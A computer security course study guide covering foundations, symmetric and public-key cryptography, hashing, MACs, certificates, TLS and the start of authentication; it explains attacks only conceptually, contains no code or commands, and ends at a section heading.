Disclaimer: This study guide attempts to touch upon the most important topics that may be covered on the exam but does not claim to necessarily cover everything that one needs to know for the exam. Finally, don't take the three hour time window in the title literally.
Last update: Thu Dec 04 20:34:39 2025
Week 1: Foundations of Computer Security
Key terms
Computer security protects systems and data from unauthorized access, alteration, or destruction. The CIA Triad summarizes its core goals: confidentiality, integrity, and availability.
Confidentiality: Only authorized users can access information. Related terms:
-
Privacy: control over personal information.
-
Anonymity: hiding identity.
-
Secrecy: concealing the existence of information.
-
Exfiltration: unauthorized transfer of data out of a system.
Integrity: Ensures accuracy and trustworthiness of data and systems. Integrity includes data integrity (no unauthorized changes), origin integrity (verifying source), recipient integrity (ensuring correct destination), and system integrity (software/hardware functioning as intended). Authenticity is tied to integrity: verifying origin along with correctness.
Availability: Ensures systems and data are usable when needed.
Threats include DoS (Denial of Service) and DDoS (Distributed Denial of Service) attacks, hardware failures, and failed backups.
System Goals
Security systems aim at prevention, detection, and recovery. Prevention stops attacks, detection identifies them, and recovery restores systems after incidents. Forensics investigates what happened. Defense in Depth is a layered strategy that applies multiple overlapping defenses — technical, procedural, and sometimes physical. If one control fails, others still provide protection.
Policies, Mechanisms, and Assurance
-
Policies: Define what is allowed.
-
Mechanisms: Enforce policies.
-
Technical mechanisms: include operating system controls and cryptography.
-
Procedural mechanisms: include audits, ID checks, and separation of duties.
-
-
Assurance: Confidence that policies and mechanisms are correctly implemented.
-
A principal is an entity that can be uniquely identified and authenticated.
-
A subject is the active process acting on behalf of a principal.
-
All security depends on assumptions about users, environments, and trusted components.
Security Engineering and Risk Analysis
Security engineering balances cost, usability, and protection.
Risk analysis evaluates asset value, likelihood of attack, and potential costs. Tradeoffs matter: too much protection may reduce usability or become too costly.
Trusted Components and Boundaries
-
The Trusted Computing Base (TCB) is all the hardware, firmware, and software essential to enforcing security.
-
A trust boundary is where data passes between trusted and untrusted entities.
-
Supply chain security is critical: a trusted vendor can become an attack vector.
Human Factors People remain the weakest link. Weak passwords, poor training, and misaligned incentives undermine protection.
-
Security theater: Measures that look protective but add little real security.
-
Weakest link: Security is only as strong as the most vulnerable component.
Threats, Vulnerabilities, and Attacks
A vulnerability is a weakness in software, hardware, or configuration. Examples include buffer overflows, default passwords, and weak encryption. Hardware-level flaws include Spectre, Meltdown, and Rowhammer.
An exploit is a tool or technique that leverages a vulnerability. An attack is the execution of an exploit with malicious intent.
An attack vector is the pathway used to deliver an exploit, such as email, websites, USB drives, or open network ports. The attack surface is the total set of possible entry points.
Not all vulnerabilities are technical. Social engineering manipulates people into granting access or revealing information. Phishing, spear phishing, pretexting, and baiting are common techniques. (This will be explored in more detail later in the course.)
A threat is the possibility of an attack, and a threat actor is the adversary who may carry it out. One useful classification, described by Ross Anderson, distinguishes threats as disclosure (unauthorized access), deception (false data), disruption (interruptions), and usurpation (unauthorized control). Related concepts include snooping, modification, masquerading, repudiation, denial of receipt, and delay.
The threat matrix distinguishes between opportunistic vs. targeted attacks and unskilled vs. skilled attackers (from script kiddies to advanced persistent threats).
The Internet amplifies risk by enabling action at a distance, anonymity, asymmetric force, automation at scale, global reach, and lack of distinction between malicious and normal traffic.
A botnet is a network of compromised machines controlled via a command and control server, used for spam, phishing, cryptocurrency mining, credential stuffing, or DDoS attacks.
Adversaries and Cyber Warfare
Behind every attack is an adversary. Adversaries differ in their goals, risk tolerance, resources, and expertise. Types include:
-
Hackers:
-
White hats: defensive security researchers who find and report flaws.
-
Black hats: malicious attackers seeking profit or disruption.
-
Gray hats: operate in a legal or ethical gray zone, sometimes disclosing flaws responsibly and sometimes not.
-
-
Criminal groups: organized gangs running fraud, ransomware, or “malware-as-a-service.”
-
Malicious insiders: employees or contractors who abuse legitimate access.
-
Hacktivists: politically or socially motivated attackers.
-
Spies: industrial or state-backed espionage actors.
-
Press or politicians: may try to obtain sensitive information to gain an advantage, but are usually risk-averse due to reputational or legal consequences.
-
Police and law enforcement: have legal authority (e.g., warrants, evidence seizure), but can also overstep through illegal searches or surveillance.
-
Nation-states: governments capable of long-term, well-funded operations.
Economic incentives sustain underground markets where exploits, botnets, and stolen data are sold. Zero-day vulnerabilities can fetch high prices in closed broker markets. In contrast, bug bounty programs reward researchers for legal disclosure.
Advanced Persistent Threats (APTs) are advanced in their methods, persistent in maintaining access, and threatening in their ability to bypass defenses. They are typically state-backed and operate over months or years with stealth and patience.
Cyber warfare involves state-sponsored attacks on critical infrastructure and military systems.
Countermeasures include government and industry cooperation, international botnet takedowns, and intelligence sharing.
The implication is that cybersecurity affects all levels: national security, corporate security, and personal security. Cyber warfare blurs the line between peace and conflict. Attribution is difficult, and critical infrastructure, businesses, and individuals alike are potential targets.
Tracking Vulnerabilities and Risks
Why track vulnerabilities?
Early vulnerability reporting was inconsistent. The CVE system (1999) introduced standardized identifiers. CVSS added a way to score severity. Together, they form the backbone of how vulnerabilities are shared and prioritized.
- CVE (Common Vulnerabilities and Exposures)
- A unique identifier assigned to publicly disclosed vulnerabilities. Example: CVE-2021-44228 (Log4Shell).
- CVSS (Common Vulnerability Scoring System)
- A 0–10 scale for rating the severity of vulnerabilities, based on exploitability and impact. Scores are grouped into categories from Low to Critical.
- Attribution challenges
- Attackers obscure their origins, reuse tools, share infrastructure, and sometimes plant false flags. This makes it difficult to know with certainty who is behind an attack.
- APT (Advanced Persistent Threat)
- Well-funded, skilled groups (often state-backed) that carry out prolonged, targeted campaigns. Advanced = may use custom malware, zero-days, or sophisticated tradecraft; Persistent = long-term stealthy presence; Threat = ability to bypass defenses.
Week 2: Symmetric Cryptography
Foundations of Symmetric Cryptography
Why cryptography? Protect against passive adversaries (eavesdropping) and active adversaries (injection, modification, replay).
Goals:
-
Confidentiality: Ensure information is visible only to authorized parties. Symmetric encryption provides confidentiality, while integrity and authenticity require additional mechanisms such as MACs or AEAD.
-
Integrity: Guarantee information is accurate and unmodified.
-
Authenticity: Assurance that data or a message comes from the claimed source.
-
Non-repudiation: Preventing a sender from denying authorship of a message later (a property of public-key systems).
Core terms. Plaintext (original readable data), ciphertext (the scrambled, unreadable output), cipher (the algorithm), key (the secret parameter that selects one transformation), encryption (converts plaintext into ciphertext), decryption (converts ciphertext back into plaintext), symmetric encryption (same secret key shared by sender and receiver). A cryptosystem is the complete framework that defines how encryption and decryption are carried out.
Kerckhoffs's Principle. A system must remain secure even if everything about it is public except the key. Prefer standardized, openly analyzed algorithms; avoid secrecy of design.
Schneier's Law. Anyone can design a cipher they cannot break; confidence comes only after broad, sustained public scrutiny.
Classical Ciphers (Substitution and Transposition)
Classical ciphers use hand (pencil-and-paper) methods that illustrate substitution (change symbols) and transposition (reorder symbols).
Caesar cipher. Shift letters by a fixed amount; trivial to brute force and defeat via frequency counts.
Monoalphabetic substitution. Any fixed mapping between characters; the keyspace is large (\(26!\)) but still breakable because the statistical structure of a language shows up in ciphertext. In English, E, T, A, O, I, N are common; Z, Q, X, J are rare; frequent digraphs TH, HE, IN and trigrams THE, AND stand out.
Frequency analysis. A cryptanalytic technique: compare the frequencies of single letters, digraphs, and trigraphs in ciphertext with the known statistics of a language to recover the substitution.
Polyalphabetic substitution cipher.
Uses multiple substitution alphabets instead of just one. The cipher switches between different mappings during encryption so that the same plaintext letter can encrypt to different ciphertext letters, breaking simple frequency analysis.
-
Alberti's cipher disk (1460s). Two concentric alphabets; rotate the inner disk to switch substitution alphabets periodically mid-message. This polyalphabetic encryption that blurs single-letter statistics, making frequency analysis more challenging.
-
Vigenère cipher (16th c.). Repeat a keyword over the plaintext; each key letter selects a specific Caesar shift alphabet (via a table lookup of plaintext row vs. key column). The same plaintext letter can encrypt differently depending on its alignment with the key.
-
Breaking Vigenère. Even though Vigenère is a polyalphabetic cipher, the substitution alphabet repeats as a function of the key length: find repeated ciphertext fragments; measure gaps; factor to guess key length; split text into that many streams and solve each stream as a Caesar cipher by frequency.
Transposition ciphers. Preserve letters, change order.
-
Scytale: wrap a strip around a rod; write along the rod; read off unwrapped.
-
Columnar transposition: write plaintext in rows under a keyword; read columns in keyword order. Padding (often X) fills incomplete rows and can leak hints.
Some later ciphers, like Playfair and ADFGVX combine substitution and transposition.
Lessons from classical cryptosystems: Combining substitution and transposition helps, but hand systems leave structure to exploit. These methods motivated mechanized cryptography (rotor machines) and later, theory-driven designs that deliver confusion and diffusion deliberately.
Mechanized Cryptography (Rotor Machines)
Machines automated polyalphabetic substitution and enhanced its security, but the complexity alone did not guarantee security.
Rotor machine. A stack of wired wheels applies a changing substitution on each keystroke; the rightmost rotor steps like an odometer, so the mapping evolves continuously. The Enigma, used by the Germans during World War II, is the most famous of the rotor machines.
Enigma workflow. Type a letter, current rotor positions map it through three rotors, a reflector sends it back through the rotors on a different path, and a lamp shows the ciphertext. Same setup decrypts. The use of a reflector implies that no letter ever encrypts to itself, which weakens the security of the system (i.e., if you see an 'A' in the ciphertext, then you know it can't be an 'A').
Keyspace (why it's huge). Choose and order 3 rotors from 5 (60 ways), choose 26 starting positions for each rotor (\(26^3=17{,}576\)), and set a plugboard that swaps letter pairs (about \(10^{14}\) possibilities). The combined space exceeds \(10^{23}\).
Strength vs. practice. The rotors and a repetition period of 17,576 characters suppressed simple frequency patterns, but design quirks and operating procedures leaked structure. Analysts used cribs (predictable text like headers), the "no self-encryption" property, operator mistakes (repeating message keys, key reuse), traffic habits, captured codebooks, and electromechanical search (predecessors to computers: Polish bombas, British bombes designed by Turing and Welchman).
Mechanization increased complexity and throughput but not the proof of security. Operational discipline and small structural properties mattered.
Shannon, Perfect Secrecy, and Randomness
One-time pad (OTP). Encrypt by XORing plaintext with a truly random, one-time key of equal length: \(C = P \oplus K \quad \text{and} \quad P = C \oplus K\). This gives perfect secrecy if the key is random, at least as long as the message, independent of the plaintext, and never reused.
Why OTPs are rarely used. Generating, distributing, and storing keys as long as the message is impractical.
Shannon’s contribution. Two design properties for strong ciphers:
-
Confusion: Nonlinear substitution hides the relationship between key and ciphertext.
-
Diffusion: Structured mixing spreads each input bit across many output bits over multiple rounds.
Perfect vs. computational security. Perfect secrecy means the ciphertext reveals nothing about plaintext (like the OTP). In practice, we aim for computational security: no feasible attack with realistic resources.
Random vs. pseudorandom.
-
Random values come from physical processes (e.g., thermal noise, hardware randomness). They are unpredictable but can be hard to generate in large amounts.
-
Pseudorandom values are generated by an algorithm from a small random seed. They only appear random, but if the generator is weak, attackers may predict outputs. For cryptogrfaphy, we use a CSPRNG (cryptographically secure pseudorandom number generator). This is a pseudorandom generator designed so its outputs are computationally indistinguishable from true random and unpredictable without knowing the seed. Operating systems provide CSPRNGs and cryptographic libraries use them for keystreams and initialization vectors.
Shannon entropy (concept). Entropy measures unpredictability. High entropy keys resist guessing; good encryption removes observable structure so ciphertext looks random and does not compress well.
Modern Symmetric Cryptography
There are two families of ciphers in modern symmetric cryptography: block ciphers (encrypt fixed-size blocks) and stream ciphers (keystream ⊕ plaintext). Within block ciphers, there are two main designs: Feistel networks and substitution-permutation networks (SPNs)
Block ciphers
A block cipher is a keyed permutation on fixed-size blocks of data. Different keys give different permutations. Block ciphers are the workhorses of symmetric cryptography.
Most block ciphers are iterative: they apply the same round transformation repeatedly. Each round uses a round key (subkey) derived from the master key.
Rounds typically combine nonlinear substitution (S-boxes) with permutation or mixing steps (P-boxes or matrix operations).
Design goals:
-
Confusion: Obscure the relationship between the key and ciphertext.
-
Diffusion: Spread the influence of each plaintext bit across many ciphertext bits.
-
Avalanche effect: A desired property of confusion and diffusion: flipping a single input bit should change about half the output bits, destroying patterns quickly.
Substitution-permutation networks (SPNs)
-
Pattern: Substitute bytes via small lookup tables (S-boxes), mix/permute to spread changes, then XOR a round key: \(\text{state}\leftarrow \text{state}\oplus K_i\).
-
Decryption: Apply inverse substitution and inverse mixing with round keys in reverse order.
-
Example: AES.
Feistel networks
-
Pattern: Split block \((L_i,R_i)\). One round: \[L_{i+1}=R_i,\qquad R_{i+1}=L_i \oplus F(R_i,K_i).\]
-
Property: Always invertible even if \(F\) is not; decryption reuses \(F\) with round keys reversed.
-
Example: DES.
DES and 3DES (historic examples)
DES (1977): The first U.S. encryption standard. A 16-round Feistel cipher with a 64-bit block and a 56-bit key. Hardware-friendly and influential, but the relatively short key length eventually made it vulnerable to brute force attacks.
-
Main issue: Key length (56-bit) is brute-forceable.
-
Triple DES (3DES) (EDE: encrypt-decrypt-encrypt):
-
EDE1 (1 56-bit key): \(E_K(D_K(E_K(\cdot)))\): backward compatibility; no strength gain.
-
EDE2 (2 56-keys = 112-bit key): \(E_{K_1}(D_{K_2}(E_{K_1}(\cdot)))\).
-
EDE3 (3 56-bit keys = 168-bit key): \(E_{K_1}(D_{K_2}(E_{K_3}(\cdot)))\).
-
-
Status: Legacy algorithm; small block size, slow in software.
AES (modern standard)
-
Block/key sizes: AES is the current global standard. It uses a 128-bit block and keys of 128, 192, or 256 bits, with 10, 12, or 14 rounds accordingly.
-
Round steps: SubBytes (byte lookup table), ShiftRows (rearrange), MixColumns (mix bytes in a column), AddRoundKey (XOR).
-
Why it's a good default: Strong safety margin, fast with crypto hardware extensions on many processors; good constant-time software exists.
Modes of operation
Block cipher modes define how to use a block cipher on long messages. They specify how blocks are linked and how per-message values (IVs or nonces) are used to keep encryptions distinct.
-
ECB (Electronic Codebook): Each block encrypted independently; identical plaintext blocks ⇒ identical ciphertext blocks; leaks structure and allows block cut-and-paste. Do not use for data.
-
CBC (Cipherblock Chaining): XOR plaintext with previous ciphertext block, then encrypt. First block uses an IV (initialization vector - must be fresh and unpredictable). Needs padding. Confidentiality only; beware implementation bugs that leak information through different error responses.
-
CTR (Counter): Encrypt a per-message counter sequence to produce a keystream; XOR with plaintext. A unique per-message value is required for each encryption that uses the same key (often called a nonce or initialization vector). No padding; parallelizable; random access friendly.
-
GCM (Galois Counter Mode): CTR for encryption plus a tag to detect tampering (AEAD). Requires a unique per-message value (typically 96 bits).
AEAD: Authenticated Encryption with Associated Data: adding integrity checks to the encryption process. AEAD systems encrypt and return a tag so the receiver can detect and reject modified ciphertexts. We will cover integrity later; read AEAD as "encryption with a built-in tamper check." Think of it as generating ciphertext and a message authentication code (MAC) in one pass over the data.
Common pitfalls with cipher modes:
-
ECB on data leaks patterns. Avoid using it.
-
Per-message input errors:
-
CBC: initialization vector (IV) must be fresh and unpredictable (random).
-
CTR/GCM/ChaCha20: per-message value (nonce or initialization vector) must be unique for each message encrypted with the same key (never reused, uniqueness is the rule).
Stream ciphers
Stream ciphers model the idea of the one-time pad: generate a keystream and XOR it with plaintext. Instead of a pad as long as the message, they expand a short key and a nonce into a long pseudorandom sequence.
-
Model: Generate a keystream, then XOR: \(C=P\oplus \text{keystream}\) and \(P=C\oplus \text{keystream}\).
-
Rule: Under one key, never reuse the per-message input that selects the keystream.
ChaCha20 is the most popular stream cipher today. To avoid the problem of reusing a key, ChaCha20 takes as input to its keystream generator a secret key as well as a random nonce (a random bunch of bits).
-
What it does: Runs 20 rounds of add/rotate/XOR on a 512-bit internal state keyed by a 256-bit key and a per-message random value (nonce) to output a pseudorandom keystream; then XOR the keystream with the plaintext.
-
Why used: Fast on general CPUs and embedded systems, constant-time without tables, robust side-channel profile.
-
AEAD form: ChaCha20-Poly1305 (encryption + 16-byte integrity tag).
Most breakage with modern ciphers is via misuse (wrong mode, reused per-message input), not broken ciphers.
Quick reference
| Name | Type | Block/stream | Typical key sizes | Notes |
|---|---|---|---|---|
| AES-128/192/256 | SPN block cipher | 128-bit block | 128/192/256 | Default choice; wide hardware support |
| ChaCha20-Poly1305 | Stream + tag (AEAD) | Stream | 256 (cipher) | Fast on CPUs without AES-NI; embedded-friendly |
| DES | Feistel block | 64-bit block | 56 (effective) | Legacy; brute-forceable |
| 3DES (EDE2/EDE3) | Feistel block | 64-bit block | 112/168 (nominal) | Legacy |
Equations to recognize (not memorize)
-
Feistel round: \(L_{i+1}=R_i,\; R_{i+1}=L_i \oplus F(R_i,K_i)\).
-
Stream XOR: \(C=P\oplus \text{keystream}\) and \(P=C\oplus \text{keystream}\).
Principles of Good Cryptosystems
Foundations
-
Kerckhoffs's principle: Assume the attacker knows everything except the key. Publish algorithms; keep keys secret.
-
Shannon: Confusion (hide key influence) + diffusion (spread local changes). Achieved by simple rounds that substitute, mix, and add key material.
Security properties
-
Random-looking ciphertext: No patterns, no bias, does not compress. If identical plaintext blocks create repeated ciphertext, the mode/usage is wrong.
-
No shortcuts to decryption without the key: Best generic attack is brute force over keys, not algebra on structure.
-
Adequate key space; no weak keys: Each extra bit doubles search. \(2^{128}\) is beyond plausible brute force. Avoid key classes with special structure.
-
Resistance across attack models: Aim for confidentiality under CPA (chosen plaintext attack); prefer AEAD so systems remain safe even when attackers can submit modified ciphertexts (CCA - chosen ciphertext attack settings).
-
Side-channel robustness: Defend against timing/cache, power/electromagnetic emissions, and fault attacks with constant-time code, hardware instructions, masking/blinding, and no secret-indexed table lookups.
-
Composability: Security should survive real use (chunking, retries, many senders). Use AEAD, keep per-message inputs correct, and separate keys by purpose.
Practical requirements
-
Efficiency: Match the hardware. AES on architectures that accelerate it; ChaCha20 where AES support is weak. Efficient designs make constant-time code feasible.
-
Minimal expansion: Small, predictable overhead (e.g., a per-message input + a tag in GCM but not overhead that is a multiple of the plaintext size). Avoid custom paddings and ad-hoc headers.
-
Simplicity & universality: Few controls, clear defaults, mature libraries. Use high-level AEAD APIs; do not invent modes.
-
Public algorithms, open analysis: Prefer widely vetted standards. "Proprietary crypto" is a red flag.
Keys (operational reminders)
-
Generation: Use the operating system's random or cryptographically-secure pseudorandom number generator (CSPRNG) seeded with a true random source. No ad-hoc randomness.
-
Handling: Protect in storage and use; rotate before per-key data limits; destroy on retirement.
-
Per-message input (random, non-secret parameter): Treat this as a first-class parameter. CBC needs a fresh, unpredictable IV. CTR/GCM/ChaCha20 need a value unique for a given key. This random data is referred to as a nonce or initialization vector.
Quick rules
-
Prefer AES-GCM with hardware support; otherwise ChaCha20-Poly1305.
-
Never use ECB for data.
-
Padding is needed for ECB/CBC when message length ≠ block size; it is not needed for CTR/GCM/ChaCha20.
-
Write constant-time code (no secret-dependent branches/lookups).
-
Keep algorithms public; keep keys secret.
Common pitfalls
-
Reusing the per-message input with the same key (CTR/GCM/ChaCha20).
-
Predictable IVs in CBC
-
Short keys, weak randomness, keys visible in logs/dumps.
-
Secret-indexed tables causing cache leaks.
Introduction to Cryptanalysis
What is cryptanalysis? The art and science of breaking cryptographic systems. Used by both attackers (malicious goals) and security researchers (testing and strengthening algorithms). Goal: recover plaintext from ciphertext without authorized access to the key.
Core assumptions: Analysts typically know the encryption algorithm (following Kerckhoffs's principle) and have some idea of content type (German text, machine code, file headers, etc.).
Attack models (what the analyst can access)
Brute force attack
Exhaustive key search: trying every possible key until meaningful plaintext emerges. Sets the security baseline: \(n\)-bit key requires at most \(2^n\) attempts (average \(2^{n-1}\)). Becomes infeasible with sufficient key length (128+ bits).
Ciphertext-only attack (COA)
The analyst has only encrypted messages with no corresponding plaintext. Extremely difficult against modern ciphers. Historically used frequency analysis against simple substitution. Modern secure ciphers resist COA by producing statistically random-looking ciphertext.
Known plaintext attack (KPA)
The analyst has matching plaintext-ciphertext pairs but cannot choose the plaintext. Can study correlations between inputs and outputs to find patterns. Example: Breaking Enigma using stolen plaintext-ciphertext pairs and predictable message formats.
Chosen plaintext attack (CPA)
The analyst can select specific plaintexts and observe the resulting ciphertext. Reflects scenarios where attackers influence message content. Enables systematic testing of cipher behavior and probing for structural weaknesses. Modern cipher design considers CPA resistance essential.
Chosen ciphertext attack (CCA)
The analyst can submit ciphertext for decryption and observe plaintext or error responses. Example: Implementation bugs in CBC mode where systems respond differently to valid vs. invalid padding, eventually revealing complete plaintext. Highlights why confidentiality alone is insufficient—need authenticated encryption (AEAD).
Cryptanalytic techniques
Differential cryptanalysis
Examines how differences in plaintext inputs propagate through a cipher to produce differences in ciphertext outputs. Seeks non-random behavior revealing information about internal structure or key bits. Typically requires chosen plaintext access. Modern ciphers are specifically designed to resist differential attacks.
Linear cryptanalysis
Attempts to find linear approximations (XOR equations) connecting plaintext bits, ciphertext bits, and key bits with probability significantly different from 50%. Works effectively with known plaintext. Complements differential techniques. Both approaches rarely recover complete keys but can reduce brute force search space.
Side-channel analysis
Exploits physical information leaked during cryptographic operations: timing, power consumption, electromagnetic emissions, cache access patterns, fault injection. Attacks the implementation rather than the mathematical algorithm.
Examples:
-
Cache timing: AES table lookups leak key information via memory access patterns
-
Power analysis: Different operations consume different amounts of electricity, revealing processed data
-
Fault injection: Introducing errors during computation to extract secrets from faulty outputs
Defenses: Constant-time implementations, masking/blinding, hardware countermeasures, avoiding secret-indexed table lookups.
Key points
-
Good modern ciphers resist all standard attack models (COA, KPA, CPA, CCA) and major cryptanalytic techniques (differential, linear)
-
Implementation matters — side-channel attacks often succeed where mathematical attacks fail
-
Cryptanalysis serves defense — understanding attack techniques helps build stronger systems
-
Open scrutiny is essential — algorithms gain trust through surviving public analysis, not through secrecy
Week 3: Public Key Cryptography and Integrity
Key Distribution Problem
The key distribution problem is the challenge of sharing a secret key securely over an insecure channel. Public key cryptography was developed to solve this.
One-Way Functions
A one-way function is easy to compute in one direction but computationally infeasible to reverse.
- Examples: computing
g^x mod pis easy, but findingx(the discrete logarithm) is hard. The middle squares method, an early pseudorandom number generator, also illustrates the idea of one-way computation.
Trapdoor Function
A trapdoor function is a one-way function that becomes easy to invert if you know a secret value (the trapdoor). Public key cryptography relies on building trapdoor functions.
Public Key Cryptography
Public key cryptography uses a pair of keys:
-
The public key is shared and used for encryption or signature verification.
-
The private key is kept secret and used for decryption or creating signatures.
RSA
RSA is based on the difficulty of factoring large numbers that are the product of two primes.
- Encryption and decryption use modular exponentiation: me mod n.
Elliptic Curve Cryptography (ECC)
ECC is based on the difficulty of solving discrete logarithms on elliptic curves.
- ECC achieves the same security as RSA with shorter key sizes.
Why not use public key cryptography for everything?
Public key cryptography is used for key exchange and signatures, not bulk encryption because of:
-
Performance: far slower than symmetric ciphers.
-
Ciphertext expansion: ciphertexts larger than plaintexts.
-
Security: raw RSA/ECC is unsafe: mathematical relations from the plaintext are preserved.
Cryptographic Hash Functions
A cryptographic hash function maps input of arbitrary length to a fixed-size output. Its key properties are:
-
Fixed length: The output size does not depend on input size.
-
Preimage resistance: It is hard to find a message that hashes to a given value.
-
Second preimage resistance: It is hard to find another message with the same hash.
-
Collision resistance: It is hard to find any two messages that hash to the same value.
-
Avalanche effect: Small input changes produce large, unpredictable changes in output.
Common hash functions: SHA-1 (obsolete), MD5 (obsolete), SHA-2 (SHA-256, SHA-512), bcrypt (designed to be slow).
Hash Collisions
A hash collision occurs when two different inputs produce the same hash.
-
Pigeonhole principle: More possible inputs than outputs guarantees collisions.
-
Birthday paradox: collisions occur sooner than expected, around \(\sqrt{N}\) attempts for an N-size output space.
Hash Collisions
A hash collision occurs when two different inputs produce the same hash output. Because hash functions compress large inputs into a fixed-size output, collisions are guaranteed in theory. The question is how likely they are in practice.
-
Pigeonhole principle: Since there are more possible inputs than outputs, some inputs must map to the same output. This is unavoidable for any fixed-length hash.
-
Birthday paradox: The probability of finding a collision grows faster than intuition suggests. Instead of needing about N trials to find a collision in an N-element space, it takes only about \(\sqrt{N}\).
Cryptographic hashes use large output sizes, making collisions astronomically unlikely. With SHA-256 (256-bit output), a collision is expected after about \(2^{128}\) attempts. \(2^{128}\) is about \(3.4 \times 10^{38}\), an unimaginably large value. To put this in perspective: the odds of winning the Powerball jackpot once are about 1 in \(3 \times 10^{8}\). To match the improbability of finding a SHA-256 collision, you’d have to win the Powerball about five times in a row.
This shows why collisions are considered practically impossible for modern cryptographic hashes, unless the function itself is broken (as with MD5 and SHA-1, where researchers found methods to create collisions).
Message Authentication Code (MAC)
A Message Authentication Code (MAC) is a keyed hash: a function that takes both a message and a secret key as input. Only someone with the secret key can produce or verify the MAC.
This ensures integrity (the message has not been modified) and origin assurance (the message was generated by someone who knows the shared key). Unlike digital signatures, a MAC does not provide proof to outsiders of who created the message, since both sender and receiver share the same key.
Example: Alice and Bob share a secret key. Alice sends Bob the message PAY $100 and its MAC. Bob recomputes the MAC on the message using the shared key. If his result matches Alice’s, he knows the message was not altered and must have come from someone with the key.
Constructions of MACs:
-
HMAC: uses a cryptographic hash with the key mixed into the input.
-
CBC-MAC: uses a block cipher in Cipher Block Chaining mode to produce a keyed hash.
-
AEAD (Authenticated Encryption with Associated Data): combines encryption and integrity in one step, generating ciphertext and an authentication tag (similar to a MAC). GCM and Poly1305 are common AEAD integrity components.
Digital Signature
A digital signature is the public-key equivalent of a MAC, but it uses asymmetric keys instead of a shared secret.
Concept:
Signing: the sender creates a hash of the message and encrypts that hash with their private key.
Verification: the receiver decrypts the signature with the sender’s public key and compares it with a newly computed hash of the message. If they match, the message has not been altered and must have come from the claimed sender.
-
Unlike MACs, digital signatures provide authentication and non-repudiation: only the holder of the private key could have generated the signature, and the sender cannot later deny it.
Example: Alice sends Bob the message TRANSFER $500 along with its signature. Bob verifies the signature using Alice’s public key. If it checks out, Bob knows the message is intact and was created by Alice.
Digital signature algorithms: In practice, specialized algorithms exist just for signing. Examples include DSA, ECDSA, and EdDSA. These algorithms are applied to the hash of the message rather than the message itself for efficiency.
MACs vs. Signatures
-
MACs: symmetric, efficient, no non-repudiation.
-
Signatures: asymmetric, slower, provide authentication and non-repudiation.
X.509 Certificates
An X.509 certificate (often just called a digital certificate) binds a public key to the identity of an individual, organization, or website.
A certificate contains information such as the subject’s name, the subject’s public key, the issuer’s identity, and a validity period.
A Certificate Authority (CA) digitally signs the certificate using its own private key. Anyone who trusts the CA can verify the certificate by checking that signature with the CA’s public key. Certificates provide assurance that a public key truly belongs to the entity it claims.
Example: When you visit https://example.com, your browser receives the site’s X.509 certificate. It verifies that the certificate was signed by a trusted CA. If valid, your browser knows the server’s public key really belongs to that website.
Certificates are essential in TLS, where they allow clients to verify the identity of servers before exchanging keys.
Diffie-Hellman Key Exchange (DHKE)
DHKE allows two parties to establish a shared secret over an insecure channel.
Each party uses a private key and a corresponding public value to derive the shared secret. The algorithm is based on the one-way function ax mod p.
Elliptic Curve Diffie-Hellman (ECDH) uses elliptic curves but behaves the same way.
While general-purpose public key algorithms, such as RSA and ECC, can perform this function, DHKE is usually used because generating public and private keys is much faster and the algorithm is efficient in generating a common key.
Hybrid Cryptosystem
A hybrid cryptosystem combines public key cryptography with symmetric key cryptography. Public key methods are slow, so they are typically used only to exchange a session key. Once the session key is established, both sides switch to symmetric encryption (like AES) for the actual communication, which is much faster.
A session key is a temporary symmetric key that secures communication for the duration of one session. When the session ends, the session key is discarded. If an attacker records the traffic, they cannot decrypt it later without the specific session key that was used at the time.
Forward secrecy means that even if a long-term private key is stolen in the future, past communications remain secure. This works because each session uses its own independent session key. The long-term key is only used to authenticate or establish the exchange, not to encrypt bulk data.
An ephemeral key is a temporary public/private key pair generated for a single session (or even a single exchange). Ephemeral keys are often used in protocols like Ephemeral Diffie-Hellman (DHE). The shared secret derived from the ephemeral key exchange is used to create the session key.
Ephemeral keys and session keys are closely related: the ephemeral key exchange produces the session key. In some contexts, the term “ephemeral key” is used interchangeably with “session key,” but more precisely:
-
Ephemeral key: the temporary public/private key pair used during the key exchange.
-
Session key: the symmetric key that results from the exchange and is used to encrypt the actual communication.
Example: In TLS with Ephemeral Diffie-Hellman, the server and client each generate ephemeral keys for the exchange. From those, they derive a shared session key. The ephemeral keys are discarded after the session ends, ensuring forward secrecy.
Quantum Attacks
Quantum attacks use quantum algorithms that can break many current public key systems.
-
RSA is vulnerable because Shor’s algorithm can efficiently factor large integers.
-
Diffie-Hellman (DHKE) and Elliptic Curve Cryptography (ECC) are vulnerable because Shor’s algorithm can efficiently solve discrete logarithms, which are the basis of these systems. This includes protocols like ECDH and signature schemes like DSA, ECDSA, and EdDSA.
-
In short, any public key system based on integer factorization or discrete logarithms is broken by a large quantum computer.
-
Symmetric cryptography (AES, ChaCha20) and hash-based functions (SHA-2, SHA-3, HMAC) are not broken, but Grover’s algorithm can reduce their effective strength by half. Doubling key or hash sizes restores security.
New post-quantum algorithms have been recently developed (and continue to be developed) that are resistant to these quantum attacks.
Transport Layer Security (TLS)
TLS is the protocol that secures communication on the web. It combines several cryptographic tools:
-
Diffie-Hellman key exchange establishes a shared secret that becomes the basis for session keys.
-
X.509 certificates authenticate the server (and sometimes the client) by binding identities to public keys.
-
Public key cryptography verifies the certificates and authenticates the Diffie-Hellman exchange (the server signs its ephemeral D-H value with its private key, and the client checks it).
-
HMAC is used in the handshake to authenticate transcript messages and, through HKDF, to derive keys from the shared secret.
-
HKDF (HMAC-based Key Derivation Function) expands the Diffie-Hellman shared secret into multiple secure session keys (a different key for traffic in each direction).
-
Symmetric cryptography with AEAD (such as AES-GCM or ChaCha20-Poly1305) protects bulk data, providing both confidentiality and integrity for application traffic.
Week 4: Authentication
Core Concepts
Identification, Authentication, Authorization
Identification is claiming an identity (such as giving a username). Authentication is proving that claim (such as showing a password or key). Authorization comes afterward and determines what actions the authenticated party may perform.
Pre-shared keys and Session keys
A pre-shared key is a long-term secret shared in advance between two parties and often used with a trusted server. A session key is temporary and unique to one session, which reduces exposure if the key is compromised.
Mutual authentication
Protocols often require both sides to prove they know the shared secret, not just one. This ensures that neither side is tricked by an impostor.
Trusted third party (Trent)
Some protocols rely on a trusted server that shares long-term keys with users and helps them establish session keys with each other.
Nonces, Timestamps, and Session identifiers
These are ways to prove freshness:
-
Nonces are random values used once.
-
Timestamps prove that a message is recent.
-
Session identifiers tie all messages to a specific run of a protocol.
Replay attack
An attacker may try to reuse an old ticket or session key. Without freshness checks, the receiver cannot tell the difference and may accept stale credentials.
Symmetric Key Protocols
